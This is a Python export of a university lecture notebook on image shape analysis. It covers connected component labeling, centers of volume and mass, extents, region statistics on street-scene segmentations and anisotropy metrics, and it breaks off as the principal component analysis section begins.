{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # ETHZ: 227-0966-00L\n# # Quantitative Big Imaging\n# # March 28, 2019\n#\n# ## Shape Analysis\n\n# In[1]:\n\n\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\nplt.rcParams[\"figure.figsize\"] = (8, 8)\nplt.rcParams[\"figure.dpi\"] = 150\nplt.rcParams[\"font.size\"] = 14\nplt.rcParams[\"font.family\"] = [\"sans-serif\"]\nplt.rcParams[\"font.sans-serif\"] = [\"DejaVu Sans\"]\nplt.style.use(\"ggplot\")\nsns.set_style(\"whitegrid\", {\"axes.grid\": False})\n\n\n# # Literature / Useful References\n#\n# - Jean Claude, Morphometry with R\n# - [Online](http://link.springer.com/book/10.1007%2F978-0-387-77789-4) through ETHZ\n# - [Buy it](http://www.amazon.com/Morphometrics-R-Use-Julien-Claude/dp/038777789X)\n# - John C. Russ, \u201cThe Image Processing Handbook\u201d,(Boca Raton, CRC Press)\n# - Available [online](http://dx.doi.org/10.1201/9780203881095) within domain ethz.ch (or proxy.ethz.ch / public VPN)\n# - Principal Component Analysis\n#  - Venables, W. N. and B. D. Ripley (2002). Modern Applied Statistics with S, Springer-Verlag\n# - Shape Tensors\n#  - http://www.cs.utah.edu/~gk/papers/vissym04/\n#  - Doube, M.,et al. (2010). BoneJ: Free and extensible bone image analysis in ImageJ. Bone, 47, 1076\u20139. doi:10.1016/j.bone.2010.08.023\n#  - Mader, K. , et al. (2013). A quantitative framework for the 3D characterization of the osteocyte lacunar system. Bone, 57(1), 142\u2013154. doi:10.1016/j.bone.2013.06.026\n#\n#  - Wilhelm Burger, Mark Burge. Principles of Digital Image Processing:\n#   Core Algorithms. Springer-Verlag, London, 2009.\n#  -  B. J\u00e4hne. Digital Image Processing. Springer-Verlag,\n#            Berlin-Heidelberg, 6. edition, 2005.\n#  -  T. H. Reiss. Recognizing Planar Objects Using Invariant Image\n#            Features, from Lecture notes in computer science, p. 676. Springer,\n#            Berlin, 1993.\n#  - http://en.wikipedia.org/wiki/Image_moment\n#\n#\n\n# # Previously on QBI ...\n#\n# - Image Enhancment\n#  - Highlighting the contrast of interest in images\n#  - Minimizing Noise\n# - Segmentation\n#  - Understanding value histograms\n#  - Dealing with multi-valued data\n# - Automatic Methods\n#  - Hysteresis Method, K-Means Analysis\n# - Regions of Interest\n#  - Contouring\n# - Machine Learning\n\n# # Learning Objectives\n#\n# ## Motivation (Why and How?)\n# - How do we quantify where and how big our objects are?\n# - How can we say something about the shape?\n# - How can we compare objects of different sizes?\n# - How can we compare two images on the basis of the shape as calculated from the images?\n# - How can we put objects into an finite element simulation? or make pretty renderings?\n\n# # Outline\n#\n# - Motivation (Why and How?)\n# - Object Characterization\n# - Volume\n# - Center and Extents\n# - Anisotropy\n#\n# ***\n#\n# - Shape Tensor\n# - Principal Component Analysis\n# - Ellipsoid Representation\n# - Scale-free metrics\n# - Anisotropy, Oblateness\n# - Meshing\n#  - Marching Cubes\n#  - Isosurfaces\n# - Surface Area\n\n# # Motivation\n#\n#\n# We have dramatically simplified our data, but there is still too much.\n#\n# - We perform an experiment bone to see how big the cells are inside the tissue\n# $$\\downarrow$$ ![Bone Measurement](ext-figures/tomoimage.png)\n#\n# ### 2560 x 2560 x 2160 x 32 bit\n# _56GB / sample_\n# - Filtering and Enhancement!\n# $$\\downarrow$$\n# - 56GB of less noisy data\n#\n# ***\n#\n# - __Segmentation__\n#\n# $$\\downarrow$$\n#\n# ### 2560 x 2560 x 2160 x 1 bit\n# (1.75GB / sample)\n#\n# - Still an aweful lot of data\n\n# # What did we want in the first place\n#\n# ### _Single number_:\n# * volume fraction,\n# * cell count,\n# * average cell stretch,\n# * cell volume variability\n\n# # Component Labeling\n#\n# Once we have a clearly segmented image, it is often helpful to identify the sub-components of this image. The easist method for identifying these subcomponents is called component labeling which again uses the neighborhood $\\mathcal{N}$ as a criterion for connectivity, resulting in pixels which are touching being part of the same object.\n#\n#\n# In general, the approach works well since usually when different regions are touching, they are related. It runs into issues when you have multiple regions which agglomerate together, for example a continuous pore network (1 object) or a cluster of touching cells.\n#\n# Here we show some examples from Cityscape Data taken in Aachen (https://www.cityscapes-dataset.com/)\n\n# In[2]:\n\n\nfrom skimage.io import imread\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ncar_img = imread(\"ext-figures/aachen_img.png\")\nseg_img = imread(\"ext-figures/aachen_label.png\")[::4, ::4] == 26\nprint(\"image dimensions\", car_img.shape, seg_img.shape)\nfig, (ax1, ax2) = plt.subplots(1, 2, figsize=(20, 8))\nax1.imshow(car_img)\nax1.set_title(\"Input Image\")\n\nax2.imshow(seg_img, cmap=\"bone\")\nax2.set_title(\"Segmented Image\")\n\n\n# The more general formulation of the problem is for networks (roads, computers, social). Are the points start and finish connected?\n\n# In[3]:\n\n\nfrom skimage.morphology import label\n\nhelp(label)\n\n\n# In[4]:\n\n\nfig, (ax1, ax2) = plt.subplots(1, 2, figsize=(20, 8))\nax1.imshow(seg_img, cmap=\"bone\")\nax1.set_title(\"Segmented Image\")\nlab_img = label(seg_img)\nax2.imshow(lab_img, cmap=plt.cm.gist_earth)\nax2.set_title(\"Labeled Image\")\n\n\n# In[5]:\n\n\nfig, (ax3) = plt.subplots(1, 1)\nax3.hist(lab_img.ravel())\nax3.set_title(\"Label Counts\")\nax3.set_yscale(\"log\")\n\n\n# # Component Labeling: Algorithm\n#\n# We start off with all of the pixels in either foreground (1) or background (0)\n\n# In[6]:\n\n\nfrom skimage.morphology import label\nimport seaborn as sns\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nseg_img = np.eye(9, dtype=int)\nseg_img[4, 4] = 0\nseg_img += seg_img[::-1]\nsns.heatmap(seg_img, annot=True, fmt=\"d\")\n\n\n# Give each point in the image a unique label\n# - For each point $(x,y)\\in\\text{Foreground}$\n#  - Set value to $I_{x,y} = x+y*width+1$\n\n# In[7]:\n\n\nidx_img = np.zeros_like(seg_img)\nfor x in range(seg_img.shape[0]):\n    for y in range(seg_img.shape[1]):\n        if seg_img[x, y] > 0:\n            idx_img[x, y] = x + y * seg_img.shape[0] + 1\nsns.heatmap(idx_img, annot=True, fmt=\"d\", cmap=\"nipy_spectral\")\n\n\n# In a [brushfire](http://www.sciencedirect.com/science/article/pii/S0921889007000966)-style algorithm\n# - For each point $(x,y)\\in\\text{Foreground}$\n#     - For each point $(x^{\\prime},y^{\\prime})\\in\\mathcal{N}(x,y)$\n#     - if $(x^{\\prime},y^{\\prime})\\in\\text{Foreground}$\n#         - Set the label to $\\min(I_{x,y}, I_{x^{\\prime},y^{\\prime}})$\n# - Repeat until no more labels have been changed\n\n# In[8]:\n\n\nfig, m_axs = plt.subplots(2, 2, figsize=(20, 20))\nlast_img = idx_img.copy()\nimg_list = [last_img]\nfor iteration, c_ax in enumerate(m_axs.flatten(), 1):\n    cur_img = last_img.copy()\n\n    for x in range(last_img.shape[0]):\n        for y in range(last_img.shape[1]):\n            if last_img[x, y] > 0:\n                i_xy = last_img[x, y]\n                for xp in [-1, 0, 1]:\n                    if (x + xp < last_img.shape[0]) and (x + xp >= 0):\n                        for yp in [-1, 0, 1]:\n                            if (y + yp < last_img.shape[1]) and (y + yp >= 0):\n                                i_xpyp = last_img[x + xp, y + yp]\n                                if i_xpyp > 0:\n\n                                    new_val = min(i_xy, i_xpyp, cur_img[x, y])\n                                    if cur_img[x, y] != new_val:\n                                        print(\n                                            (x, y),\n                                            i_xy,\n                                            \"vs\",\n                                            (x + xp, y + yp),\n                                            i_xpyp,\n                                            \"->\",\n                                            new_val,\n                                        )\n                                        cur_img[x, y] = new_val\n\n    img_list += [cur_img]\n    sns.heatmap(cur_img, annot=True, fmt=\"d\", cmap=\"nipy_spectral\", ax=c_ax)\n    c_ax.set_title(\"Iteration #{}\".format(iteration))\n    if (cur_img == last_img).all():\n        print(\"Done\")\n        break\n    else:\n        print(\n            \"Iteration\",\n            iteration,\n            \"Groups\",\n            len(np.unique(cur_img[cur_img > 0].ravel())),\n            \"Changes\",\n            np.sum(cur_img != last_img),\n        )\n        last_img = cur_img\n\n\n# The image very quickly converges and after 4 iterations the task is complete. For larger more complicated images with thousands of components this task can take longer, but there exist much more efficient [algorithms](https://www.cs.princeton.edu/~rs/AlgsDS07/01UnionFind.pdf) for labeling components which alleviate this issue.\n\n# In[9]:\n\n\nfrom matplotlib.animation import FuncAnimation\nfrom IPython.display import HTML\n\nfig, c_ax = plt.subplots(1, 1, figsize=(5, 5), dpi=150)\n\n\ndef update_frame(i):\n    plt.cla()\n    sns.heatmap(\n        img_list[i],\n        annot=True,\n        fmt=\"d\",\n        cmap=\"nipy_spectral\",\n        ax=c_ax,\n        cbar=False,\n        vmin=img_list[0].min(),\n        vmax=img_list[0].max(),\n    )\n    c_ax.set_title(\n        \"Iteration #{}, Groups {}\".format(\n            i + 1, len(np.unique(img_list[i][img_list[i] > 0].ravel()))\n        )\n    )\n\n\n# write animation frames\nanim_code = FuncAnimation(\n    fig, update_frame, frames=len(img_list) - 1, interval=1000, repeat_delay=2000\n).to_html5_video()\nplt.close(\"all\")\nHTML(anim_code)\n\n\n# # Bigger Images\n# How does the same algorithm apply to bigger images\n\n# In[10]:\n\n\nfrom skimage.io import imread\nfrom skimage.morphology import label\nimport seaborn as sns\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nseg_img = (imread(\"ext-figures/aachen_label.png\")[::4, ::4] == 26)[110:130:2, 370:420:3]\nseg_img[9, 1] = 1\n_, (ax1, ax2) = plt.subplots(1, 2, figsize=(15, 7), dpi=150)\nsns.heatmap(seg_img, annot=True, fmt=\"d\", ax=ax1, cmap=\"nipy_spectral\", cbar=False)\nidx_img = seg_img * np.arange(len(seg_img.ravel())).reshape(seg_img.shape)\nsns.heatmap(idx_img, annot=True, fmt=\"d\", ax=ax2, cmap=\"nipy_spectral\", cbar=False)\n\n\n# In[11]:\n\n\nlast_img = idx_img.copy()\nimg_list = [last_img]\nfor iteration in range(99):\n    cur_img = last_img.copy()\n    for x in range(last_img.shape[0]):\n        for y in range(last_img.shape[1]):\n            if last_img[x, y] > 0:\n                i_xy = last_img[x, y]\n                for xp in [-1, 0, 1]:\n                    if (x + xp < last_img.shape[0]) and (x + xp >= 0):\n                        for yp in [-1, 0, 1]:\n                            if (y + yp < last_img.shape[1]) and (y + yp >= 0):\n                                i_xpyp = last_img[x + xp, y + yp]\n                                if i_xpyp > 0:\n                                    new_val = min(i_xy, i_xpyp, cur_img[x, y])\n                                    if cur_img[x, y] != new_val:\n                                        cur_img[x, y] = new_val\n\n    img_list += [cur_img]\n    if (cur_img == last_img).all():\n        print(\"Done\")\n        break\n    else:\n        print(\n            \"Iteration\",\n            iteration,\n            \"Groups\",\n            len(np.unique(cur_img[cur_img > 0].ravel())),\n            \"Changes\",\n            np.sum(cur_img != last_img),\n        )\n        last_img = cur_img\n\n\n# In[12]:\n\n\nfrom matplotlib.animation import FuncAnimation\nfrom IPython.display import HTML\n\nfig, c_ax = plt.subplots(1, 1, figsize=(5, 5), dpi=150)\n\n\ndef update_frame(i):\n    plt.cla()\n    sns.heatmap(\n        img_list[i],\n        annot=True,\n        fmt=\"d\",\n        cmap=\"nipy_spectral\",\n        ax=c_ax,\n        cbar=False,\n        vmin=img_list[0].min(),\n        vmax=img_list[0].max(),\n    )\n    c_ax.set_title(\n        \"Iteration #{}, Groups {}\".format(\n            i + 1, len(np.unique(img_list[i][img_list[i] > 0].ravel()))\n        )\n    )\n\n\n# write animation frames\nanim_code = FuncAnimation(\n    fig, update_frame, frames=len(img_list) - 1, interval=500, repeat_delay=1000\n).to_html5_video()\nplt.close(\"all\")\nHTML(anim_code)\n\n\n# # Different Neighborhoods\n# We can expand beyond the 3x3 neighborhood to a 5x5 for example\n\n# In[13]:\n\n\nlast_img = idx_img.copy()\nimg_list = [last_img]\nfor iteration in range(99):\n    cur_img = last_img.copy()\n    for x in range(last_img.shape[0]):\n        for y in range(last_img.shape[1]):\n            if last_img[x, y] > 0:\n                i_xy = last_img[x, y]\n                for xp in [-2, -1, 0, 1, 2]:\n                    if (x + xp < last_img.shape[0]) and (x + xp >= 0):\n                        for yp in [-2, -1, 0, 1, 2]:\n                            if (y + yp < last_img.shape[1]) and (y + yp >= 0):\n                                i_xpyp = last_img[x + xp, y + yp]\n                                if i_xpyp > 0:\n                                    new_val = min(i_xy, i_xpyp, cur_img[x, y])\n                                    if cur_img[x, y] != new_val:\n                                        cur_img[x, y] = new_val\n\n    img_list += [cur_img]\n    if (cur_img == last_img).all():\n        print(\"Done\")\n        break\n    else:\n        print(\n            \"Iteration\",\n            iteration,\n            \"Groups\",\n            len(np.unique(cur_img[cur_img > 0].ravel())),\n            \"Changes\",\n            np.sum(cur_img != last_img),\n        )\n        last_img = cur_img\n\nfig, c_ax = plt.subplots(1, 1, figsize=(5, 5), dpi=150)\n\n\ndef update_frame(i):\n    plt.cla()\n    sns.heatmap(\n        img_list[i],\n        annot=True,\n        fmt=\"d\",\n        cmap=\"nipy_spectral\",\n        ax=c_ax,\n        cbar=False,\n        vmin=img_list[0].min(),\n        vmax=img_list[0].max(),\n    )\n    c_ax.set_title(\n        \"Iteration #{}, Groups {}\".format(\n            i + 1, len(np.unique(img_list[i][img_list[i] > 0].ravel()))\n        )\n    )\n\n\n# write animation frames\nanim_code = FuncAnimation(\n    fig, update_frame, frames=len(img_list) - 1, interval=500, repeat_delay=1000\n).to_html5_video()\nplt.close(\"all\")\nHTML(anim_code)\n\n\n# # Or a smaller kernel\n# By using a smaller kernel (in this case where $\\sqrt{x^2+y^2}<=1$, we cause the number of iterations to fill to increase and prevent the last pixel from being grouped since it is only connected diagonally\n#\n# |   |   |   |\n# |--:|--:|--:|\n# |  0|  1|  0|\n# |  1|  1|  1|\n# |  0|  1|  0|\n#\n\n# In[14]:\n\n\nlast_img = idx_img.copy()\nimg_list = [last_img]\nfor iteration in range(99):\n    cur_img = last_img.copy()\n    for x in range(last_img.shape[0]):\n        for y in range(last_img.shape[1]):\n            if last_img[x, y] > 0:\n                i_xy = last_img[x, y]\n                for xp in [-1, 0, 1]:\n                    if (x + xp < last_img.shape[0]) and (x + xp >= 0):\n                        for yp in [-1, 0, 1]:\n                            if np.abs(xp) + np.abs(yp) <= 1:\n                                if (y + yp < last_img.shape[1]) and (y + yp >= 0):\n                                    i_xpyp = last_img[x + xp, y + yp]\n                                    if i_xpyp > 0:\n                                        new_val = min(i_xy, i_xpyp, cur_img[x, y])\n                                        if cur_img[x, y] != new_val:\n                                            cur_img[x, y] = new_val\n\n    img_list += [cur_img]\n    if (cur_img == last_img).all():\n        print(\"Done\")\n        break\n    else:\n        print(\n            \"Iteration\",\n            iteration,\n            \"Groups\",\n            len(np.unique(cur_img[cur_img > 0].ravel())),\n            \"Changes\",\n            np.sum(cur_img != last_img),\n        )\n        last_img = cur_img\n\nfig, c_ax = plt.subplots(1, 1, figsize=(6, 6), dpi=100)\n\n\ndef update_frame(i):\n    plt.cla()\n    sns.heatmap(\n        img_list[i],\n        annot=True,\n        fmt=\"d\",\n        cmap=\"nipy_spectral\",\n        ax=c_ax,\n        cbar=False,\n        vmin=img_list[0].min(),\n        vmax=img_list[0].max(),\n    )\n    c_ax.set_title(\n        \"Iteration #{}, Groups {}\".format(\n            i + 1, len(np.unique(img_list[i][img_list[i] > 0].ravel()))\n        )\n    )\n\n\n# write animation frames\nanim_code = FuncAnimation(\n    fig, update_frame, frames=len(img_list) - 1, interval=500, repeat_delay=1000\n).to_html5_video()\nplt.close(\"all\")\nHTML(anim_code)\n\n\n# # Component Labeling: Beyond\n#\n#\n# Now all the voxels which are connected have the same label. We can then perform simple metrics like\n#\n# - counting the number of voxels in each label to estimate volume.\n# - looking at the change in volume during erosion or dilation to estimate surface area\n\n# ### What we would like to to do\n#\n# - Count the cells\n# - Say something about the cells\n# - Compare the cells in this image to another image\n# - But where do we start?\n#\n# # COV: With a single object\n#\n# $$ I_{id}(x,y) =\n# \\begin{cases}\n# 1, & L(x,y) = id \\\\\n# 0, & \\text{otherwise}\n# \\end{cases}$$\n\n# In[15]:\n\n\nfrom IPython.display import Markdown\nfrom skimage.io import imread\nfrom skimage.morphology import label\nimport seaborn as sns\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nseg_img = imread(\"ext-figures/aachen_label.png\") == 26\nseg_img = seg_img[::4, ::4]\nseg_img = seg_img[110:130:2, 370:420:3]\nseg_img[9, 1] = 1\nlab_img = label(seg_img)\n_, (ax1) = plt.subplots(1, 1, figsize=(7, 7), dpi=150)\nsns.heatmap(lab_img, annot=True, fmt=\"d\", ax=ax1, cmap=\"nipy_spectral\", cbar=False)\n\n\n# ### Define a center\n# $$ \\bar{x} = \\frac{1}{N} \\sum_{\\vec{v}\\in I_{id}} \\vec{v}\\cdot\\vec{i} $$\n# $$ \\bar{y} = \\frac{1}{N} \\sum_{\\vec{v}\\in I_{id}} \\vec{v}\\cdot\\vec{j} $$\n# $$ \\bar{z} = \\frac{1}{N} \\sum_{\\vec{v}\\in I_{id}} \\vec{v}\\cdot\\vec{k} $$\n#\n\n# In[16]:\n\n\nx_coord, y_coord = [], []\nfor x in range(seg_img.shape[0]):\n    for y in range(seg_img.shape[1]):\n        if seg_img[x, y] == 1:\n            x_coord += [x]\n            y_coord += [y]\nprint(\"x,y coordinates\", list(zip(x_coord, y_coord)))\nMarkdown(\"$\\\\bar{x} = %2.2f, \\\\bar{y} = %2.2f $\" % (np.mean(x_coord), np.mean(y_coord)))\n\n\n# # COM: With a single object\n#\n# If the gray values are kept (or other meaningful ones are used), this can be seen as a weighted center of volume or center of mass (using $I_{gy}$ to distinguish it from the labels)\n#\n# ### Define a center\n# $$ \\Sigma I_{gy} = \\frac{1}{N} \\sum_{\\vec{v}\\in I_{id}} I_{gy}(\\vec{v}) $$\n# $$ \\bar{x} = \\frac{1}{\\Sigma I_{gy}} \\sum_{\\vec{v}\\in I_{id}} (\\vec{v}\\cdot\\vec{i}) I_{gy}(\\vec{v}) $$\n# $$ \\bar{y} = \\frac{1}{\\Sigma I_{gy}} \\sum_{\\vec{v}\\in I_{id}} (\\vec{v}\\cdot\\vec{j}) I_{gy}(\\vec{v}) $$\n# $$ \\bar{z} = \\frac{1}{\\Sigma I_{gy}} \\sum_{\\vec{v}\\in I_{id}} (\\vec{v}\\cdot\\vec{k}) I_{gy}(\\vec{v}) $$\n#\n\n# In[17]:\n\n\nfrom IPython.display import Markdown, display\nimport seaborn as sns\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nxx, yy = np.meshgrid(np.linspace(0, 10, 50), np.linspace(0, 10, 50))\ngray_img = 100 * (np.abs(xx * yy - 7) + np.square(yy - 4)) + 0.25\ngray_img *= np.abs(xx - 5) < 3\ngray_img *= np.abs(yy - 5) < 3\ngray_img[gray_img > 0] += 5\nseg_img = (gray_img > 0).astype(int)\n_, (ax1, ax2) = plt.subplots(1, 2, figsize=(14, 7), dpi=150)\n\nsns.heatmap(gray_img, ax=ax1, cmap=\"bone_r\", cbar=True)\nax1.set_title(\"Intensity Image\")\n\nsns.heatmap(seg_img, ax=ax2, cmap=\"bone\", cbar=False)\nax2.set_title(\"Segmented Image\")\n\n\n# In[18]:\n\n\nx_coord, y_coord, i_val = [], [], []\nfor x in range(seg_img.shape[0]):\n    for y in range(seg_img.shape[1]):\n        if seg_img[x, y] == 1:\n            x_coord += [x]\n            y_coord += [y]\n            i_val += [gray_img[x, y]]\n\nx_coord = np.array(x_coord)\ny_coord = np.array(y_coord)\ni_val = np.array(i_val)\ncov_x = np.mean(x_coord)\ncov_y = np.mean(y_coord)\n\ndisplay(\n    Markdown(\n        \"\"\"## Center of Volume: \n- $\\\\bar{x} = %2.2f$\n- $\\\\bar{y} = %2.2f $\"\"\"\n        % (cov_x, cov_y)\n    )\n)\n\ncom_x = np.sum(x_coord * i_val) / np.sum(i_val)\ncom_y = np.sum(y_coord * i_val) / np.sum(i_val)\n\ndisplay(\n    Markdown(\n        \"\"\"## Center of Mass: \n- $\\\\bar{x}_m = %2.2f$\n- $\\\\bar{y}_m = %2.2f $\"\"\"\n        % (com_x, com_y)\n    )\n)\n\n_, (ax1) = plt.subplots(1, 1, figsize=(7, 7), dpi=150)\n\nax1.matshow(gray_img, cmap=\"bone_r\")\nax1.set_title(\"Intensity Image\")\nax1.plot([cov_y], [cov_x], \"ro\", label=\"COV\", markersize=20)\nax1.plot([com_y], [com_x], \"bo\", label=\"COM\", markersize=20)\nax1.legend()\n\n\n# In[19]:\n\n\nfrom skimage.measure import regionprops\n\nhelp(regionprops)\n\n\n# In[20]:\n\n\nfrom skimage.measure import regionprops\n\nall_regs = regionprops(seg_img, intensity_image=gray_img)\nfor c_reg in all_regs:\n    display(Markdown(\"# Region: {}\".format(c_reg.label)))\n    for k in dir(c_reg):\n        if not k.startswith(\"_\") and (\"image\" not in k):\n            display(Markdown(\"- {} {}\".format(k, getattr(c_reg, k))))\n\n\n# # Extents: With a single object\n#\n# Exents or caliper lenghts are the size of the object in a given direction. Since the coordinates of our image our $x$ and $y$ the extents are calculated in these directions\n#\n# Define extents as the minimum and maximum values along the projection of the shape in each direction\n# $$ \\text{Ext}_x = \\left\\{ \\forall \\vec{v}\\in I_{id}: max(\\vec{v}\\cdot\\vec{i})-min(\\vec{v}\\cdot\\vec{i})  \\right\\} $$\n# $$ \\text{Ext}_y = \\left\\{ \\forall \\vec{v}\\in I_{id}: max(\\vec{v}\\cdot\\vec{j})-min(\\vec{v}\\cdot\\vec{j})  \\right\\} $$\n# $$ \\text{Ext}_z = \\left\\{ \\forall \\vec{}\\in I_{id}: max(\\vec{v}\\cdot\\vec{k})-min(\\vec{v}\\cdot\\vec{k})  \\right\\} $$\n#\n# - Lots of information about each object now\n# - But, I don't think a biologist has ever asked \"How long is a cell in the $x$ direction? how about $y$?\"\n\n# In[21]:\n\n\nfrom IPython.display import Markdown\nfrom skimage.io import imread\nfrom skimage.morphology import label\nimport seaborn as sns\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nseg_img = imread(\"ext-figures/aachen_label.png\") == 26\nseg_img = seg_img[::4, ::4]\nseg_img = seg_img[110:130:2, 378:420:3] > 0\nseg_img = np.pad(seg_img, 3, mode=\"constant\")\n_, (ax1) = plt.subplots(1, 1, figsize=(7, 7), dpi=150)\nax1.matshow(seg_img, cmap=\"bone_r\")\n\n\n# In[22]:\n\n\nx_coord, y_coord = [], []\nfor x in range(seg_img.shape[0]):\n    for y in range(seg_img.shape[1]):\n        if seg_img[x, y] == 1:\n            x_coord += [x]\n            y_coord += [y]\nxmin = np.min(x_coord)\nxmax = np.max(x_coord)\nymin = np.min(y_coord)\nymax = np.max(y_coord)\nprint(\"X -> \", \"Min:\", xmin, \"Max:\", xmax)\nprint(\"Y -> \", \"Min:\", ymin, \"Max:\", ymax)\n\n\n# In[23]:\n\n\nfrom matplotlib.collections import PatchCollection\nfrom matplotlib.patches import Rectangle\n\n_, (ax1) = plt.subplots(1, 1, figsize=(7, 7), dpi=150)\n\nax1.matshow(seg_img, cmap=\"bone_r\")\n\nxw = xmax - xmin\nyw = ymax - ymin\n\nc_bbox = [Rectangle(xy=(ymin, xmin), width=yw, height=xw)]\nc_bb_patch = PatchCollection(\n    c_bbox, facecolor=\"none\", edgecolor=\"red\", linewidth=4, alpha=0.5\n)\nax1.add_collection(c_bb_patch)\n\n\n# # Concrete Example\n# So how can we begin to apply the tools we have developed. We take the original car scene from before.\n\n# In[24]:\n\n\nfrom skimage.measure import regionprops, label\nfrom skimage.io import imread\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ncar_img = np.clip(imread(\"ext-figures/aachen_img.png\")[75:150] * 2.0, 0, 255).astype(\n    np.uint8\n)\nlab_img = label(imread(\"ext-figures/aachen_label.png\")[::4, ::4] == 26)[75:150]\nfig, (ax1, ax2) = plt.subplots(2, 1, figsize=(20, 8))\nax1.imshow(car_img)\nax1.set_title(\"Input Image\")\n\nplt.colorbar(ax2.imshow(lab_img, cmap=\"nipy_spectral\"))\nax2.set_title(\"Labeled Image\")\n\n\n# # Shape Analysis\n# We can perform shape analysis on the image and calculate basic shape parameters for each object\n\n# In[25]:\n\n\nfrom skimage.measure import regionprops\nfrom matplotlib.patches import Rectangle\nfrom matplotlib.collections import PatchCollection\n\n# shape analysis\nall_regions = regionprops(lab_img)\n\nfig, ax1 = plt.subplots(1, 1, figsize=(12, 6), dpi=100)\nax1.imshow(car_img)\nprint(\"Found \", len(all_regions), \"regions\")\nbbox_list = []\nfor c_reg in all_regions:\n    ax1.plot(c_reg.centroid[1], c_reg.centroid[0], \"o\", markersize=5)\n    bbox_list += [\n        Rectangle(\n            xy=(c_reg.bbox[1], c_reg.bbox[0]),\n            width=c_reg.bbox[3] - c_reg.bbox[1],\n            height=c_reg.bbox[2] - c_reg.bbox[0],\n        )\n    ]\nc_bb_patch = PatchCollection(\n    bbox_list, facecolor=\"none\", edgecolor=\"red\", linewidth=4, alpha=0.5\n)\nax1.add_collection(c_bb_patch)\n\n\n# # Statistics\n# We can then generate a table full of these basic parameters for each object. In this case, we add color as an additional description\n\n# In[26]:\n\n\nfrom sklearn.neighbors import KNeighborsClassifier\nimport webcolors\nimport pandas as pd\nfrom skimage.morphology import erosion, disk\n\n\ndef ed_img(in_img):\n    # shrink an image to a few pixels\n    cur_img = in_img.copy()\n    while cur_img.max() > 0:\n        last_img = cur_img\n        cur_img = erosion(cur_img, disk(1))\n    return last_img\n\n\n# guess color name based on rgb value\ncolor_name_class = KNeighborsClassifier(1)\nc_names = sorted(webcolors.css3_names_to_hex.keys())\ncolor_name_class.fit([tuple(webcolors.name_to_rgb(k)) for k in c_names], c_names)\n\n\nreg_df = pd.DataFrame(\n    [\n        dict(\n            label=c_reg.label,\n            bbox=c_reg.bbox,\n            area=c_reg.area,\n            centroid=c_reg.centroid,\n            color=color_name_class.predict(\n                np.mean(car_img[ed_img(lab_img == c_reg.label)], 0)[:3].reshape((1, -1))\n            )[0],\n        )\n        for c_reg in all_regions\n    ]\n)\nfig, m_axs = plt.subplots(len(all_regions), 1, figsize=(3, 14))\nfor c_ax, c_reg in zip(m_axs, all_regions):\n    c_ax.imshow(car_img[c_reg.bbox[0] : c_reg.bbox[2], c_reg.bbox[1] : c_reg.bbox[3]])\n    c_ax.axis(\"off\")\n    c_ax.set_title(\"Label {}\".format(c_reg.label))\nreg_df\n\n\n# Anisotropy: What is it?\n# ===\n# By definition (New Oxford American): ```varying in magnitude according to the direction of measurement.```\n#\n# - It allows us to define metrics in respect to one another and thereby characterize shape.\n# - Is it tall and skinny, short and fat, or perfectly round\n#\n# ***\n#\n# Due to its very vague definition, it can be mathematically characterized in many different very much unequal ways (in all cases 0 represents a sphere)\n#\n# $$ Aiso1 = \\frac{\\text{Longest Side}}{\\text{Shortest Side}} - 1 $$\n#\n# $$ Aiso2 = \\frac{\\text{Longest Side}-\\text{Shortest Side}}{\\text{Longest Side}} $$\n#\n# $$ Aiso3 = \\frac{\\text{Longest Side}}{\\text{Average Side Length}} - 1 $$\n#\n# $$ Aiso4 = \\frac{\\text{Longest Side}-\\text{Shortest Side}}{\\text{Average Side Length}} $$\n#\n# $$ \\cdots \\rightarrow \\text{ ad nauseum} $$\n\n# In[27]:\n\n\nfrom collections import defaultdict\nfrom skimage.measure import regionprops\nimport seaborn as sns\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nxx, yy = np.meshgrid(np.linspace(-5, 5, 100), np.linspace(-5, 5, 100))\n\n\ndef side_len(c_reg):\n    return sorted([c_reg.bbox[3] - c_reg.bbox[1], c_reg.bbox[2] - c_reg.bbox[0]])\n\n\naiso_funcs = [\n    lambda x: side_len(x)[-1] / side_len(x)[0] - 1,\n    lambda x: (side_len(x)[-1] - side_len(x)[0]) / side_len(x)[-1],\n    lambda x: side_len(x)[-1] / np.mean(side_len(x)) - 1,\n    lambda x: (side_len(x)[-1] - side_len(x)[0]) / np.mean(side_len(x)),\n]\n\n\ndef ell_func(a, b):\n    return np.sqrt(np.square(xx / a) + np.square(yy / b)) <= 1\n\n\n# In[28]:\n\n\nfrom matplotlib.animation import FuncAnimation\nfrom IPython.display import HTML\n\nfig, m_axs = plt.subplots(2, 3, figsize=(12, 10), dpi=120)\nab_list = [\n    (2, 2),\n    (2, 3),\n    (2, 4),\n    (2, 5),\n    (1.5, 5),\n    (1, 5),\n    (0.5, 5),\n    (0.1, 5),\n    (0.05, 5),\n]\nfunc_pts = defaultdict(list)\n\n\ndef update_frame(i):\n    plt.cla()\n    a, b = ab_list[i]\n    c_img = ell_func(a, b)\n    m_axs[0, 0].imshow(c_img, cmap=\"gist_earth\")\n    reg_info = regionprops(c_img.astype(int))[0]\n    m_axs[0, 0].set_title(\"Shape #{}\".format(i + 1))\n    for j, (c_func, c_ax) in enumerate(zip(aiso_funcs, m_axs.flatten()[1:]), 1):\n        func_pts[j] += [c_func(reg_info)]\n        c_ax.plot(func_pts[j], \"r-\")\n        c_ax.set_title(\"Anisotropy #{}\".format(j))\n        c_ax.set_ylim(-0.1, 3)\n    m_axs.flatten()[-1].axis(\"off\")\n\n\n# write animation frames\nanim_code = FuncAnimation(\n    fig, update_frame, frames=len(ab_list) - 1, interval=500, repeat_delay=1000\n).to_html5_video()\nplt.close(\"all\")\nHTML(anim_code)\n\n\n# # Useful Statistical Tools: Principal Component Analysis\n#\n# While many of the topics covered in Linear Algebra and Statistics courses might not seem very applicable to real problems at first glance, at least a few of them come in handy for dealing distributions of pixels _(they will only be briefly covered, for more detailed review look at some of the suggested material)_\n#\n# ### Principal Component Analysis\n# Similar to K-Means insofar as we start with a series of points in a vector space and want to condense the information. With PCA instead of searching for distinct groups, we try to find a linear combination 